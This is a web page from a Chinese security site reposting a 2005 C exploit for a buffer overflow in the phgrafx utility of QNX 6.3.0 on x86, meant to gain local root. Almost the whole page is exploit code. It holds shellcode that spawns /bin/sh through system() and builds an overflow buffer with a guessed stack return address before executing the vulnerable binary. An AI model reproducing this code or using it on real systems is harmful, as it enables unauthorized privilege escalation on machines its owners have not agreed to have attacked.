首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
QNX Realtime Operating System (RTOS) Buffer Overflow Local Root Exploit
来源:minervini@neuralnoise.com 作者:minervini 发布时间:2005-12-01  

QNX Realtime Operating System (RTOS) Buffer Overflow Local Root Exploit


/*
* minervini_at_neuralnoise.com (c) 2005, all rights reserved.
* sample exploit for phgrafx on QNX 6.3.0 x86
*
* tested on: QNX qnx 6.3.0 2004/04/29-21:23:19UTC x86pc x86
*/

#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>
#include <unistd.h>
#include <err.h>

#ifndef _PATH
# define _PATH ("/usr/photon/bin/phgrafx")
#endif

#ifndef _RET_INIT
# define _RET_INIT (864)
#endif

/* thanks to my friend pi3 that suggested me to call a libc
* function to make the shellcode way shorter than it was */

char scode[] = "x31xc0" // xor %eax,%eax
"x50" // push %eax
"x68x2fx2fx73x68" // push $0x68732f2f
"x68x2fx62x69x6e" // push $0x6e69622f
"x54" // push %esp
"xbbxEFxBExADxDE" // mov $0xDEADBEEF,%ebx
"xffxd3"; // call *%ebx

unsigned long get_sp (void) {
__asm__ ("movl %esp, %eax");
}

int main (int argc, char **argv) {

int i, slen = strlen (scode), offset = 0;
long ptr, *lptr, addr;
char *buf;
void *handle;

handle = dlopen (NULL, RTLD_LAZY);
addr = (long) dlsym (handle, "system");

for (i = 0; i < 4; i++) {
char temp = (*((char *) &addr + i) & 0xff);
if (temp == 0x00 || temp == 0x09 || temp == 0x0a) {
puts
("currently system()'s address contains bytes like 0x00, 0x09 or 0x0a, so it probably
won't work since"
" the application seems to truncate those bytes. BTW you can rely on functions like
exec*(), spawn*()"
" or MsgSend*() to get this working.n"
"more at http://www.qnx.org/developers/docs/momentics621_docs/neutrino/lib_ref/");
return (-1);
}
}

memcpy((char *)&scode + 0xf, &addr, 4);

if (argc > 1)
offset = strtoul(argv[1], NULL, 0);

if (!(buf = (char *) malloc(1032)))
err(1, "malloc()");

memset(buf, 0, 1032);

for (i = 0; i < (_RET_INIT - slen); i++)
buf[i] = 'A'; // inc %ecx

printf("shellcode length: %dn", slen);

for (i = (_RET_INIT - slen); i < _RET_INIT; i++)
buf[i] = scode[i - (_RET_INIT - slen)];

lptr = (long *) (buf + _RET_INIT);

printf("address: 0x%lxn", ptr = (get_sp () - offset));

for (i = 0; i < ((1024 - _RET_INIT) / 4); i++)
*(lptr + i) = (int) ptr;

execl(_PATH, "phgrafx", buf, NULL);

return (0);
}




 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Microsoft Windows Metafile (WM
·Microsoft Windows Distributed
·Microsoft Windows Metafile (WM
·Oracle 9i Database XDB HTTP Au
·FreeFTPd DoS (PORT, Exploit)
·HP OpenView Network Node Manag
·Microsoft Windows Distributed
·Lyris ListManager /read/attach
·Cisco PIX Spoofed TCP SYN Pack
·Mozilla Firefox InstallVersion
·Mambo mosConfig_absolute_path
·SimpleBBS Command Execution
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved